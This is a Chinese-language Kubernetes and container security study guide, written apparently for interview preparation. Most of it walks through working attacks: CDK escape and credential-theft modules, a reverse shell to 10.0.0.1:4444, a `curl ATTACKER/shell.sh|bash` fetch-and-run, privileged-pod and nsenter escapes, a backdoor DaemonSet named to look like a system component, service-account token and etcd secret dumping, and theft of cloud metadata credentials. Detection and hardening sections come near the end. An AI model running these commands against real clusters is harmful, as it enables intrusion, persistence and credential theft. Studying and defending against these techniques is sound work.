Mounts 挂载点有没有 docker.sock?有没有 hostPath 挂载根目录?
敏感环境变量有没有 AK/SK、数据库密码、Token 泄漏在 env 里
敏感进程有没有 sshd/cron 等宿主机泄露的进程
敏感文件(–full)扫描 /etc/shadow, kubeconfig, SSH Key 等
K8s API Server 可达性自动探测 kubernetes.default.svc 和 SA Token 权限
K8s SA 权限自动调用 SelfSubjectAccessReview,列出你能干什么
云元数据 API自动探测 169.254.169.254(AWS/Azure/GCP/阿里云)
DNS 服务发现通过 SRV 记录发现 K8s 内部服务

输出示例(关键部分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ ./cdk evaluate

[INFO] OS Basic Info:
OS: Ubuntu 20.04.6 LTS
Kernel: 5.4.0-150-generic

[CRITICAL] Available Capabilities:
CapEff: 0000003fffffffff ← 全 f = 特权容器!

[CRITICAL] Mounts:
/var/run/docker.sock → 宿主机 Docker Socket 挂载!← 可逃逸

[HIGH] Sensitive ENV:
DB_PASSWORD=SuperSecret123
AWS_ACCESS_KEY_ID=AKIA*** ← 云凭据泄漏

[HIGH] K8s ServiceAccount:
Token 已获取,namespace: default

[HIGH] K8s SA Permissions:
✅ create pods ← 可创建恶意 Pod 逃逸
✅ get secrets (all) ← 可窃取全集群 Secret
✅ list pods (all)
❌ create clusterrolebindings

补5.4 容器逃逸 — cdk run

列出所有可用攻击模块

1
./cdk run --list

输出所有可用的 exploit 名称,面试中记住这几类即可

按攻击场景分类速查

🔴 容器逃逸类

命令利用条件说明
cdk run docker-sock-pwn "<cmd>"容器内可访问 docker.sock通过 docker.sock 创建特权容器执行宿主机命令
cdk run docker-sock-check同上先检测,推荐先跑这个确认可利用
cdk run docker-api-pwn "<cmd>"宿主机暴露 2375/2376 端口通过 Docker Remote API 逃逸
cdk run mount-disk特权容器 + 有宿主机磁盘设备fdisk 看到的磁盘直接 mount + chroot
cdk run mount-cgroup特权容器 + SYS_ADMINcgroup release_agent 逃逸
cdk run mount-procfs挂载了宿主机 /proc 并可写通过 core_pattern 逃逸
cdk run check-ptrace有 CAP_SYS_PTRACEptrace 注入宿主机进程
cdk run runc-pwnCVE-2019-5736runc 漏洞,覆盖宿主机 runc 二进制
cdk run shim-pwnCVE-2020-15257containerd-shim 漏洞
cdk run abuse-unpriv-usernsCVE-2022-0492 + 非特权用户命名空间cgroup v1 release_agent
cdk run rewrite-cgroup-devices可写 /sys/fs/cgroup/devices/devices.allow开放设备访问权限
cdk run cap-dac-read-search有 CAP_DAC_READ_SEARCH绕过文件读权限,读取宿主机任意文件
cdk run lxcfs-rw可写 LXCFS 挂载LXCFS 配置错误利用

🟡 一键自动逃逸(最暴力)

1
2
3
4
# CDK 自动尝试所有可行的逃逸方式,执行你指定的命令
./cdk auto-escape "whoami"
./cdk auto-escape "cat /etc/shadow"
./cdk auto-escape "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"

面试金句:”CDK 的 auto-escape 模块会自动检测当前容器的权限和挂载情况,然后按优先级尝试所有适用的逃逸方法——先试 docker.sock,再试特权容器挂载磁盘,再试 cgroup,再试 CVE——直到成功在宿主机执行你给的命令。”

🟢 凭证窃取类

命令前提条件效果
cdk run k8s-secret-dump有 SA Token + get/list secrets 权限导出全集群所有 Secret(含所有 SA Token)
cdk run k8s-configmap-dump有 SA Token + get/list configmaps 权限导出全集群 ConfigMap
cdk run etcd-get-k8s-tokenetcd 2379 可达 + 未授权直接从 etcd 读 SA Token
cdk run ak-leakage扫描环境变量/文件中泄漏的云 AK/SK
cdk run k8s-get-sa-token有 SA Token + 特定 RBAC 权限RBAC 绕过,窃取其他 SA 的 Token

🔵 K8s 横向/持久化类

命令效果面试亮点
cdk run k8s-backdoor-daemonset部署后门 DaemonSet到所有 Node每个 Node 运行一个特权容器,挂载宿主机根目录
cdk run k8s-cronjob部署 CronJob 定时任务后门定时执行恶意代码,隐蔽性强
cdk run k8s-shadow-apiserver部署影子 API Server中间人拦截所有 K8s API 请求
cdk run k8s-mitm-clusteripCVE-2020-8554,劫持 ClusterIP 流量中间人攻击 K8s Service 通信
cdk run kubelet-exec通过 Kubelet 10250 执行命令Node 级别的命令执行
cdk run service-probe探测 K8s 各组件(API Server/etcd/kubelet/dashboard)自动发现可攻击的 K8s 组件

🟣 普通工具类

命令效果备注
cdk run reverse-shell反弹 shell自动选择最佳反弹方式
cdk run webshell-deploy在当前容器部署 WebShell为后续持久化提供 HTTP 入口
cdk run istio-check导出 Istio Sidecar 元数据Service Mesh 环境特有
cdk run k8s-psp-dump导出 Pod Security Policies了解部署限制

补5.5 内置小工具 — 容器里没有的命令 CDK 帮你补

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cdk ps                  # 等价 ps aux
cdk ifconfig # 等价 ifconfig -a
cdk netstat # 等价 netstat -antup
cdk vi <file> # 内置编辑器,直接改文件
cdk nc [options] # 等价 nc/netcat,TCP 隧道
cdk probe <IP> <端口> <并发> <超时> # TCP 端口扫描

# K8s API 请求(自带 Token 认证,替代 curl)
cdk kcurl <sa-token路径> get/post <URI> [data]

# Docker Socket 请求
cdk ucurl get/post <socket路径> <URI> <data>

# Docker Remote API 请求
cdk dcurl get/post <API端点> <URI> <data>

# etcd 操作(未授权时直接枚举 key)
cdk ectl <etcd端点> get <key>

面试场景:”进入一个 Alpine 精简容器,没有 curl,没有 nc,没有 vi。CDK 的 Tool 模块直接补上了这些缺失的命令——cdk kcurl 带 Token 调 API Server,cdk nc 建隧道打内网,cdk probe 扫内网端口。”

补5.6 CDK 投递方式

方式 1:有 curl/wget

1
2
3
4
# 在目标容器里
curl -LO https://github.com/cdk-team/CDK/releases/latest/download/cdk_linux_amd64
chmod +x cdk_linux_amd64
./cdk_linux_amd64 evaluate

方式 2:无 curl/wget(但可出站 TCP)

1
2
3
4
5
6
# 攻击机(公网)
nc -lvp 9999 < cdk

# 目标容器内(利用 bash 的 /dev/tcp 伪设备)
cat < /dev/tcp/ATTACKER_IP/9999 > /tmp/cdk
chmod +x /tmp/cdk

方式 3:在 K8s 中通过 kubectl cp

1
2
kubectl cp ./cdk <namespace>/<pod>:/tmp/cdk
kubectl exec -it <pod> -n <namespace> -- chmod +x /tmp/cdk

方式 4:Base64 传输(不出网环境)

1
2
3
4
5
6
7
# 攻击机
base64 -w0 cdk > cdk.b64

# 目标容器(分段粘贴或通过极慢的 WebShell 传)
echo "BASE64_STRING..." > /tmp/cdk.b64
base64 -d /tmp/cdk.b64 > /tmp/cdk
chmod +x /tmp/cdk

补5.7 完整实战流(面试叙述模板)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
进入 Pod shell


① ./cdk evaluate --full
│ 自动发现:
│ - 特权容器 (CapEff=3fffffffff)
│ - docker.sock 挂载
│ - SA Token 有 create pods 权限
│ - 内网发现 etcd:2379 开放


② 选择逃逸路径(按优先级):

├─ 路径A:有 docker.sock
│ ./cdk run docker-sock-pwn "curl http://ATTACKER/shell.sh|bash"
│ → 直接在宿主机执行命令 → 拿到 Node root

├─ 路径B:特权容器但无 docker.sock
│ ./cdk run mount-disk
│ → mount 宿主磁盘 → chroot 逃逸

└─ 路径C:无特权, 但 SA 有 create pods
./cdk run k8s-secret-dump 先偷看 kube-system 有哪些 SA
→ 自己写 YAML 创建特权 Pod(或用 cdk k8s-backdoor-daemonset)
→ 调度到目标 Node → 逃逸


③ Node 逃逸成功 → 读取 /etc/kubernetes/admin.conf
│ 或读取 Node 上其他 Pod 的 SA Token


④ 集群接管 — 持久化
./cdk run k8s-backdoor-daemonset
→ 每个 Node 部署特权容器后门
→ 拿到云 IAM 凭据 (cdk eva 已在第一步发现)
→ AWS/GCP/Azure 控制台

补5.8 面试中怎么聊 CDK

面试官:拿到 Pod shell 后你怎么做的?

“第一步扔 CDK 进去,./cdk evaluate --full 全量扫描。它自动帮我检查了 Capabilities、挂载点、SA Token 权限、内网 K8s 组件探测、云元数据 API——1 分钟内出完整报告。根据报告选择逃逸方式:如果有 docker.sock 用 docker-sock-pwn,如果有特权容器用 mount-diskmount-cgroup,如果只有 SA Token 但能 create pods 就自己写 YAML 创建特权 Pod 逃逸。最后用 k8s-backdoor-daemonset 在所有 Node 上部署后门 DaemonSet 做持久化。”

面试官内心:这人真干过。


从 Pod 到 Node —— 容器逃逸与节点突破

这一节汇总”你在 Pod 里拿到了 shell,怎么打到宿主机 Node”的所有路径。

6.1 路径 A:特权容器挂载宿主机

1
2
3
4
5
6
7
8
9
# 发现条件:
cat /proc/self/status | grep CapEff
# 返回 0000003fffffffff → 特权容器

# 逃逸:
fdisk -l
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash

6.2 路径 B:docker.sock 挂载

1
2
3
4
5
6
# 发现条件:
ls -la /var/run/docker.sock

# 逃逸:
docker -H unix:///var/run/docker.sock run -itd --privileged -v /:/host alpine
docker -H unix:///var/run/docker.sock exec -it <container_id> chroot /host /bin/bash

6.3 路径 C:通过 RBAC 创建恶意 Pod 达成逃逸

这是面试中最常考的攻击链:你没有直接的宿主机访问,但有 create pods 权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# 步骤 1:发现你有 create pods 权限
kubectl auth can-i create pods
# → yes

# 步骤 2:创建特权 Pod,挂载宿主机根目录
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: host-escape
namespace: default
spec:
hostPID: true
hostNetwork: true
hostIPC: true
containers:
- name: escape
image: alpine
command: ["/bin/sh", "-c", "sleep 3600"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
EOF

# 步骤 3:等待 Pod 变成 Running → exec 进去
kubectl exec -it host-escape -- /bin/sh

# 步骤 4:逃逸到宿主机
chroot /host /bin/bash
# 或
nsenter -t 1 -m -u -i -n -p -- /bin/bash

# 步骤 5:在宿主机上拿到 kubeconfig,进而控制集群
cat /host/etc/kubernetes/kubelet.conf
cat /host/etc/kubernetes/admin.conf

调度到 Master 节点的技巧

1
2
3
4
5
6
7
8
9
10
11
12
13
# 加上 nodeName 直接指定到 Master
spec:
nodeName: master-node # <-- 硬编码到 Master

# 或者容忍 Master 的污点
spec:
tolerations:
- key: "node-role.kubernetes.io/master"
operator: "Exists"
effect: "NoSchedule"
- key: "node-role.kubernetes.io/control-plane"
operator: "Exists"
effect: "NoSchedule"

6.4 路径 D:Kubelet 10250 未授权直接执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
# 外部/横向发现 Kubelet 10250 未授权
curl -k https://NODE_IP:10250/pods

# 获取指定 Pod 中运行的容器列表
curl -k https://NODE_IP:10250/pods/$POD_UID

# 直接在容器中执行命令
curl -XPOST -k "https://NODE_IP:10250/run/<namespace>/<pod>/<container>" \
-d "cmd=whoami"

# 获取 Token(如果 Pod 挂载了 SA Token)
curl -XPOST -k "https://NODE_IP:10250/run/<ns>/<pod>/<container>" \
-d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

6.5 路径 E:hostPID + nsenter

1
2
3
# 如果 Pod 以 hostPID: true 运行
spec:
hostPID: true
1
2
3
# 在容器内直接切到宿主机 PID namespace
nsenter -t 1 -m -u -i -n -p -- /bin/bash
# 你就是宿主机 root 了

6.6 逃逸后 —— Node 上有什么值钱的?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 逃逸到 Node 后,优先查找以下凭证:

# 1. Kubelet 凭证(Node 级别 API 访问权限)
cat /etc/kubernetes/kubelet.conf

# 2. 集群管理员凭证(如果这是 Master 节点)
cat /etc/kubernetes/admin.conf
cat /etc/kubernetes/super-admin.conf

# 3. 证书和密钥
ls /etc/kubernetes/pki/
cat /etc/kubernetes/pki/ca.key # CA 私钥!
cat /etc/kubernetes/pki/ca.crt
cat /etc/kubernetes/pki/apiserver.key

# 4. etcd 数据(如果这是 Master 节点)
ls /var/lib/etcd/

# 5. 容器运行时信息
ls /var/lib/docker/
ls /var/lib/containerd/

# 6. 静态 Pod manifest
ls /etc/kubernetes/manifests/ # 这里有控制平面组件的定义

从 Node 到 Cluster —— 集群完全接管

7.1 路径总览

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Worker Node 逃逸成功

├── 拿到 kubelet.conf → kubelet 凭证(Node 级别权限)

├── 如果这是 Master 节点
│ ├── /etc/kubernetes/admin.conf → cluster-admin 直接到手
│ ├── /etc/kubernetes/pki/ca.key → 签发任何证书
│ └── /var/lib/etcd/ → 全集群数据

├── 横向移动 ──→ 找其他 Pod/Node 中的高权限 SA Token

├── 创建 DaemonSet 后门 ──→ 每个 Node 自动部署恶意 Pod

└── 窃取云 IAM 凭证 ──→ 扩展到 AWS/Azure/GCP 控制台

7.2 路径 1:worker → master 利用 kubelet 权限

1
2
3
4
# kubelet.conf 给了 Node 级别的 API 访问权限
# 用 kubectl 指定这个 kubeconfig
kubectl --kubeconfig=/etc/kubernetes/kubelet.conf get nodes
kubectl --kubeconfig=/etc/kubernetes/kubelet.conf get pods -A

7.3 路径 2:RBAC 滥用自我提权

1
2
3
4
5
6
7
8
# 场景:你的 SA 有 create clusterrolebindings 权限
kubectl create clusterrolebinding my-cluster-admin \
--clusterrole=cluster-admin \
--serviceaccount=default:my-sa

# 瞬间变成 cluster-admin
kubectl get secrets -A
kubectl get nodes

7.4 路径 3:窃取高权限 SA Token

1
2
3
4
5
6
7
8
# 枚举 kube-system 中的高权限 SA
kubectl get sa -n kube-system

# 读取它的 Secret Token
kubectl get secret -n kube-system

# 或者直接读 Secret(如果你有 get secrets 权限)
kubectl get secret <secret-name> -n kube-system -o jsonpath='{.data.token}' | base64 -d

7.5 路径 4:pods/exec 横向移动

1
2
3
4
5
6
# 如果你有 pods/exec 权限,exec 到其他 Pod 窃取其 SA Token
kubectl exec -it <target-pod> -n kube-system -- cat /var/run/secrets/kubernetes.io/serviceaccount/token

# 用窃取到的 Token 访问 API Server
TOKEN=$(kubectl exec <target-pod> -n kube-system -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
kubectl --token=$TOKEN get secrets -A

7.6 路径 5:持久化后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# 方法 1:创建后门 Deployment
kubectl create deployment backdoor --image=alpine -n kube-system -- sleep 999999
kubectl expose deployment backdoor --port=4444 -n kube-system

# 方法 2:DaemonSet 部署到每个 Node(隐蔽性极强)
cat <<EOF | kubectl apply -f -
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: kube-system-helper # 伪装成系统组件
namespace: kube-system
spec:
selector:
matchLabels:
name: kube-system-helper
template:
metadata:
labels:
name: kube-system-helper
spec:
hostPID: true
hostNetwork: true
containers:
- name: backdoor
image: alpine
command: ["/bin/sh", "-c", "while true; do sleep 3600; done"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
EOF

# 方法 3:Static Pod 后门(在 Master 节点上)
# 直接把 YAML 写到 /etc/kubernetes/manifests/ → Kubelet 自动运行

API Server 利用全解

8.1 8080 insecure-port 未授权访问

如果遇到 8080 端口开放且未设置 --insecure-port=0,等于白送 cluster-admin。

1
2
3
4
5
6
7
8
9
# 探测
curl http://MASTER_IP:8080/version

# 如果返回版本信息 → 未授权
# 直接创建特权 Pod 接管集群
kubectl -s http://MASTER_IP:8080 apply -f evil-pod.yaml

# 查看所有 Secrets
kubectl -s http://MASTER_IP:8080 get secrets -A

8.2 6443 匿名用户绑定 cluster-admin

1
2
3
4
5
6
7
8
# 探测匿名访问
kubectl --insecure-skip-tls-verify -s https://MASTER_IP:6443 get pods
curl -k https://MASTER_IP:6443/api/v1/namespaces/default/pods

# 如果匿名用户被绑定了 cluster-admin → 直接控制集群
curl -k -X POST https://MASTER_IP:6443/apis/rbac.authorization.k8s.io/v1/clusterrolebindings \
-H "Content-Type: application/json" \
-d '{"metadata":{"name":"evil"},"roleRef":{"apiGroup":"rbac.authorization.k8s.io","kind":"ClusterRole","name":"cluster-admin"},"subjects":[{"kind":"ServiceAccount","name":"default","namespace":"kube-system"}]}'

8.3 泄露 kubeconfig 的利用

1
2
3
4
5
6
7
8
9
10
# kubeconfig 泄露的常见位置:
# - GitHub 公开仓库
# - /.kube/config(开发者机器)
# - CI/CD 系统(Jenkins、GitLab CI)
# - 配置文件备份

# 拿到 kubeconfig 后:
export KUBECONFIG=/path/to/stolen/kubeconfig
kubectl get nodes
kubectl get secrets -A

8.4 etcd 未授权访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# etcd 2379 未授权 = 直接读全集群数据

# 探测
curl http://ETCD_IP:2379/version

# 列举所有 key
export ETCDCTL_API=3
etcdctl --endpoints=http://ETCD_IP:2379 get / --prefix --keys-only

# 读取所有 Secret(含 SA Token)
etcdctl --endpoints=http://ETCD_IP:2379 get /registry/secrets/ --prefix

# 获取 admin kubeconfig
etcdctl --endpoints=http://ETCD_IP:2379 get /registry/configmaps/kube-system/kubeadm-config

云凭证窃取与跨平台攻击

K8s 不是孤岛。 现代 K8s 大多在云上(EKS/AKS/GKE),Node 通常有 IAM 角色。逃逸到 Node 后,下一步就是窃取云凭证。

9.1 AWS EKS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 在逃逸到的 Node 上
# IMDSv1(如果未禁用)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>

# IMDSv2(需要先获取 token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>

# 拿到 AccessKey → 配置 AWS CLI
aws configure set aws_access_key_id <AK>
aws configure set aws_secret_access_key <SK>
aws configure set aws_session_token <ST>
aws sts get-caller-identity

9.2 Azure AKS

1
2
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

9.3 GCP GKE

1
2
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

检测、防御与加固

10.1 攻击检测对应表

攻击行为检测方式
特权容器创建审计日志 pods/creat, securityContext.privileged=true
docker.sock 挂载审计 volumes.hostPath.pathdocker.sock
RBAC 提权审计 clusterrolebindings/creatclusterrolebindings/update
SA Token 窃取Falco 规则:在 Pod 内读取 /var/run/secrets 之外的 Token
Kubelet 未授权访问扫描 10250 端口 + 检查 --anonymous-auth
API Server 匿名访问检查 RBAC 中 system:anonymous 的绑定
etcd 端口暴露端口扫描 2379 + 防火墙规则审计

10.2 防御加固清单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# === Pod Security Standards (PSS) ===
# Restricted 级别的基线
securityContext:
runAsNonRoot: true # 不允许 root 运行
seccompProfile:
type: RuntimeDefault # 强制 seccomp

# === RBAC ===
# 检查最小权限
kubectl get clusterrolebindings -o wide
kubectl auth can-i --list --as=system:serviceaccount:<ns>:<sa>

# === NetworkPolicy ===
# 阻断 Pod 到 API Server 的出站流量
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-api-server
spec:
podSelector: {}
policyTypes:
- Egress
egress:
- to:
- podSelector: {}
- namespaceSelector: {}
# 不包含 kubernetes Service 的 CIDR

# === 安全审计工具 ===
# kubescape — 全面安全检查
# kube-bench — CIS 合规检查
# Falco — 运行时异常检测
# Trivy — 镜像漏洞扫描

10.3 安全审计关键命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 1. 检查高危 RBAC 绑定
kubectl get clusterrolebindings -o json | \
jq '.items[] | select(.subjects[]?.kind=="ServiceAccount") | {name: .metadata.name, sa: .subjects[].name}'

# 2. 检查特权容器
kubectl get pods --all-namespaces -o json | \
jq '.items[] | select(.spec.containers[]?.securityContext?.privileged==true) | .metadata.name'

# 3. 检查 hostPath 挂载
kubectl get pods -A -o json | \
jq '.items[] | select(.spec.volumes[]?.hostPath != null) | {name: .metadata.name, hostPaths: [.spec.volumes[].hostPath.path]}'

# 4. 检查 docker.sock 挂载
kubectl get pods -A -o json | \
jq '.items[] | select(.spec.volumes[]?.hostPath?.path == "/var/run/docker.sock")'

# 5. 检查 hostPID/hostNetwork/hostIPC
kubectl get pods -A -o json | \
jq '.items[] | select(.spec.hostPID==true or .spec.hostNetwork==true) | .metadata.name'

常见误区

容器=虚拟机,容器里是绝对安全的

。容器是共用宿主机内核的进程,不是虚拟机。Namespace 隔离不等于安全隔离。--privilegedCAP_SYS_ADMIN 可以直接操作宿主机硬件。

Docker 逃逸需要 0day

。特权容器、docker.sock 挂载、hostPath 根目录挂载——这些都是配置错误,不需要任何漏洞,只需要一个写错的 YAML。

K8s 默认是安全的

。K8s 默认配置非常宽松——automountServiceAccountToken: true(每个 Pod 自动拿到 SA Token)、default SA 在很多环境中权限不小、10250 Kubelet 端口早期版本默认允许匿名访问。

RBAC 的 view 角色是安全的?

不一定。攻击者拥有 view 权限→可以看到所有 Pod 的配置→发现哪些 Pod 挂载了 docker.sock/hostPath → 找目标。信息收集是最被低估的攻击能力。

拿到 Pod shell = 只能在这个 Pod 里

。Pod 里如果有 SA Token + pods/exec 权限 = 可以在所有 Pod 之间横向。如果 SA 有 create pods 权限 = 可以创建特权 Pod 逃逸到宿主机。

K8s Secret 是加密的

不完全对。Secret 存储时是 base64 编码(不是加密!),只有在 etcd 启用了静态加密(encryption at rest)时才是真正加密的。base64 编码随便解码。而且有 get secrets 权限就能直接读明文。

容器逃逸到了 Node 就是终点

。Node 可能是云上的 EC2/VM,通常有 IAM 角色。从 Node 窃取云凭证后可以扩散到整个云账号——S3、RDS、Lambda 全部沦陷。这就是”容器→ K8s → 云平台”的三级跳。

关闭容器的 --privileged 就够了

不够。以下配置单独使用也危险:

  • hostPID: true + nsenter
  • CAP_SYS_ADMIN(单独给这个 capability)
  • CAP_SYS_PTRACE(注入宿主机进程)
  • hostPath: / 挂载根目录
  • hostPath: /var/run/docker.sock
  • hostPath: /proc + 可写(cgroup release_agent)

pod/exec 只是”进 Pod 看看”,没什么风险

pods/exec 可以进入任何 Pod + 窃取那个 Pod 的 SA Token + 用那个 SA 的身份调用 API。如果那个 Pod 在 kube-system 命名空间且有高权限 SA,就是提权。

API Server 6443 端口有 TLS 就安全了

不一定。如果有泄露的 kubeconfig 或 SA Token,TLS 也挡不住。重点是认证和授权机制是否到位,匿名用户是否被合理限制。


面试题库与参考答案(35 题)

基础概念(★☆☆)

Q1:Docker 容器和虚拟机的本质区别是什么?

虚拟机在硬件层虚拟化,每个 VM 有独立 Guest OS 内核,隔离性强但资源开销大。容
是共用宿主机内核的隔离进程,通过 Namespace 实现视图隔离、Cgroups 实现资源限制、
Capabilities 实现权限拆分。容器启动快、资源开销小,但隔离性弱于虚拟机。容器逃逸
的根源就在于共用内核。

Q2:Namespace 是什么?Cgroups 是什么?

Namespace 是 Linux 内核的进程隔离机制,让容器内的进程”看不到”容器外的资源。
包括 PID/Mount/Network/IPC/UTS/User/Cgroup 七种。Cgroups 是资源限制机制,控制
容器能用多少 CPU、内存、IO、进程数。Namespace 管”能不能看到”,Cgroups 管”能
用多少”。

Q3:–privileged 给了容器什么?

给了容器几乎所有 Linux Capabilities(接近 40 个),能访问宿主机所有设备、执
行 mount、操作内核模块。隔离基本失效。这是容器逃逸最常见的利用条件。

Q4:Capabilities 和 root 的关系?

Linux 把 root 的超级权限拆成了 40+ 个精细的 Capability。容器内的 root 默认只
有约 14 个 Capability,不是真正的”全能 root”。--privileged 或显式 --cap-add
才会给更多。

Q5:K8s 的核心组件有哪些?各自的职责?

控制平面:API Server(唯一入口,所有请求的枢纽)、etcd(分布式 KV 存储,集群状态
数据库)、Scheduler(Pod 调度到 Node)、Controller Manager(自动化控制循环,维护
期望状态)。工作节点:Kubelet(Node 上管理 Pod 的代理人)、kube-proxy(网络代理、
Service 负载均衡)、Container Runtime(containerd/CRI-O,实际运行容器)。

Q6:API Server 在 K8s 中扮演什么角色?

集群的唯一前端和交通枢纽。所有客户端和组件都必须通过它操作集群。它是唯一与
etcd 直接交互的组件。支持 RESTful API,认证(证书/Token/OIDC)→ 授权(RBAC)
→ 准入控制(Webhooks)。攻破了 API Server = 控制了整个集群。

Q7:etcd 存储了什么?为什么重要?

存储了集群的所有状态——Pod 定义、Service、ConfigMap、Secret(含 SA Token 的
base64)、Node 信息、RBAC 配置。是所有集群数据的”真理之源”。etcd 2379 端口未授
权 = 全集群数据泄露。

Q8:Kubelet 是什么?端口?

每个 Node 上的”代理人”,负责管理该 Node 上所有 Pod 的生命周期。端口:10250
(HTTPS,完整 API)和10255(HTTP,只读,无认证)。10250 未授权访问可
直接在 Node 上执行命令;10255 泄漏 Pod 信息。

Q9:ServiceAccount 是什么?和 User 有什么区别?

SA 是 K8s 内部为 Pod 进程提供的身份账号,用于 Pod 访问 API Server,隶属于命名
空间。Token 自动挂载到 /var/run/secrets/kubernetes.io/serviceaccount/。User
是外部人类用户,K8s 本身不管理 User 对象,身份由外部证书/OIDC 提供。

Q10:Role 和 ClusterRole 的区别?

Role 是命名空间级资源,权限只在定义它的命名空间内生效,无法操作 Node、PV 等
集群级资源。ClusterRole 是集群级资源,权限覆盖所有命名空间,还能操作集群级资
源和非资源端点(如 /healthz)。

Q11:RoleBinding 和 ClusterRoleBinding 的区别?

RoleBinding 将权限绑定限制在单个命名空间内,即使引用了 ClusterRole 也只在该
NS 生效。ClusterRoleBinding 是全集群范围的绑定。重要考点:用 RoleBinding
绑定 ClusterRole → 权限被限制在该 NS 内

Q12:K8s RBAC 是”白名单”还是”黑名单”?

纯叠加(白名单)模型——权限只做累加,没有显式”拒绝”规则。要撤销权限只能
删除对应的绑定。这也是 RBAC 容易被滥用的原因之一。

容器逃逸(★★☆)

Q13:容器逃逸的常见方式有哪些?

① 特权容器 + 宿主机磁盘挂载 → mount /dev/sda1 + chroot;② docker.sock 挂载
→ 创建新特权容器 → 挂载宿主机根目录;③ hostPath 直接挂载 / → 直接 chroot;
④ hostPID + nsenter → 进入宿主机 namespace;⑤ cgroup release_agent 写入 + 触
发;⑥ 内核漏洞(CVE-2019-5736 runc、CVE-2016-5195 Dirty Cow)。

Q14:docker.sock 挂载为什么能导致逃逸?

Docker 采用 C/S 架构,docker.sock 是 Docker Daemon 的 Unix Socket。挂载到容
器内 = 容器可以直接给宿主机的 Docker Daemon 下命令 → 创建新容器(以 root 运
行且挂载宿主机 /)→ chroot → 完全控制宿主机。

Q15:如何在容器内判断是否为特权模式?

cat /proc/self/status | grep CapEff,全 f0000003fffffffff)即为特权
容器。另外可以 fdisk -l,能看到宿主机磁盘设备的通常就是特权容器。

Q16:nsenter 怎么用来逃逸?

nsenter -t 1 -m -u -i -n -p -- /bin/bash。前提是容器配置了 hostPID: true
或容器有足够的 Capability。-t 1 指向宿主机的 PID 1(init/systemd),然后切
入宿主机的所有 namespace。

Q17:CVE-2019-5736(runc 逃逸)的原理?

容器内的恶意进程通过 /proc/self/exe 获得了宿主机 runc 二进制文件的文件描述
符,在 runc 执行完容器后 exec 用户进程时,将恶意代码写入 runc 二进制。下次任
何容器启动时,宿主机上的 runc 会执行攻击者的恶意代码。

Q18:什么样的 YAML 配置容易导致容器逃逸?

securityContext.privileged: truehostPID: truehostNetwork: true
hostIPC: truevolumes.hostPath.path: "/"volumes.hostPath.path: "/var/run/docker.sock"volumes.hostPath.path: "/proc"(且可写)。任
何一个单独出现都可以构成逃逸条件。

攻击链与提权(★★★)

Q19:从拿到一个 Pod 的 shell,到控制整个 K8s 集群,完整攻击链是什么?

① 读 /var/run/secrets/kubernetes.io/serviceaccount/token 获取 SA Token
kubectl auth can-i --list 枚举权限
③ 根据发现权限:
 - 有 create pods → 创建特权 Pod 挂载宿主机根目录 → 逃逸到 Node
 - 有 get secrets → 读取 kube-system 中的高权限 SA Token
 - 有 pods/exec → 横向到其他 Pod 窃取 Token
 - 有 create clusterrolebindings → 绑定自己为 cluster-admin
④ 逃逸到 Node(尤其 Master)→ 读取 /etc/kubernetes/admin.conf → cluster-admin
⑤ 窃取云 IAM 凭证(如果 EKS/AKS/GKE)→ 扩展到云平台

Q20:最常见的 RBAC 权限滥用路径有哪些?

create pods → 创建特权 Pod 逃逸
get/list secrets → 窃取其他 SA 的 Token
pods/exec → 横向移动窃取 Token
create clusterrolebindings → 自提权为 cluster-admin
impersonate → 伪装系统用户
⑥ 通配符 * * * → 直接等于 cluster-admin

Q21:如果 SA 有 create pods 权限但没有 get secrets,怎么提权?

创建特权 Pod 逃逸到宿主机 Node → 从 Node 上直接读取文件系统中的 kubelet 凭证
/etc/kubernetes/kubelet.conf)→ 用 kubelet 身份调用 API Server。如果成功
调度到 Master 节点 → 读取 /etc/kubernetes/admin.conf → cluster-admin。

Q22:Kubelet 10250 端口没开认证,怎么利用?

curl -k https://NODE_IP:10250/pods/ 列所有 Pod
curl -XPOST -k "https://NODE_IP:10250/run/<ns>/<pod>/<container>" -d "cmd=id"
在任意 Pod/容器内执行命令
③ 读取容器内的 SA Token → 横向或提权

Q23:如何从 worker Node 打到 master Node?

① 利用 nodeName 或污点容忍,调度恶意 Pod 到 Master 节点
